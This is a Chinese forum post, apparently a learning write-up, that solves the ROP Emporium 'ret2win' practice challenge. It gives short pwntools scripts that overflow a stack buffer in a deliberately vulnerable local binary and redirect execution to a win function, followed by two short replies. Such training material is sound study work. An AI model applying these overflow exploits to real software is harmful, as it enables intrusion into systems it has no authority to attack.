首页
社区
课程
招聘
[原创]ROP Emporium(一) ret2win
发表于: 2021-1-6 10:27 10636

[原创]ROP Emporium(一) ret2win

2021-1-6 10:27
10636

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

简单说一下,ROP Emporium 是通过一系列ROP(Return-oriented programming)相关的题目挑战来学习ROP,同时尽量减少反向工程或错误查找。

该项目同时提供了Beginners' Guide : 598K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5L8%4m8W2L8i4m8G2M7X3W2#2L8g2)9J5k6h3y4G2L8g2)9J5c8X3N6#2K9h3c8W2i4K6u0W2K9s2c8E0L8l9`.`.

该项目共提供了七道题,难度跨度从ret2text到ret2csu。每一道题提供了四种架构包括x86、x64、arm和mips,我将会记录x86和x64解题过程。

未开启栈溢出保护

func main:

调用了pwnme()

func pwnme:

继续看,看到func ret2win:

基本思路明确,利用栈溢出覆盖返回地址,将返回地址修改成ret2win的地址就可以

结构和32位的一样,payload需要重新设定偏移,并且将p32改成p64

-w827

-w850

payload = "\x00" * 0x20 + p64(0xdeadbeef) + p64(0x400756)

-w729

 
 
 
 
 
 
 
from pwn import *
 
p = process("./ret2win32")
 
payload = "\x00" * 0x28 + p32(0xdeadbeef) + p32(0x804862C)
 
p.sendline(payload)
 
p.interactive()
from pwn import *
 
p = process("./ret2win32")
 
payload = "\x00" * 0x28 + p32(0xdeadbeef) + p32(0x804862C)
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 190
活跃值: (130)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
可以参考 1c0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6X3K9i4u0E0K9h3q4F1j5i4W2Q4x3V1k6o6g2p5k6Q4x3X3c8m8L8r3I4Q4x3X3c8u0L8W2)9J5k6p5!0F1k6g2)9J5c8X3u0D9L8$3u0Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6V1L8$3y4Q4x3V1j5K6i4K6u0W2x3g2)9J5k6e0c8Q4y4h3k6J5L8%4m8Q4y4h3k6^5z5o6k6Q4x3X3g2E0k6l9`.`.
2021-1-6 10:32
1
雪    币: 33
活跃值: (172)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
firmianay 可以参考 cddK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6X3K9i4u0E0K9h3q4F1j5i4W2Q4x3V1k6o6g2p5k6Q4x3X3c8m8L8r3I4Q4x3X3c8u0L8W2)9J5k6p5!0F1k6g2)9J5c8X3u0D9L8$3u0Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6V1L8$3y4Q4x3V1j5K6i4K6u0W2x3g2)9J5k6e0c8Q4y4h3k6J5L8%4m8Q4y4h3k6^5z5o6k6Q4x3X3g2E0k6l9`.`.
学长(俺也是xdu的),现在的题目好像更新了,虽然思路没变,但是有的ROPgadget好像找不到啊。。。
2021-1-10 21:23
0
游客
登录 | 注册 方可回帖
返回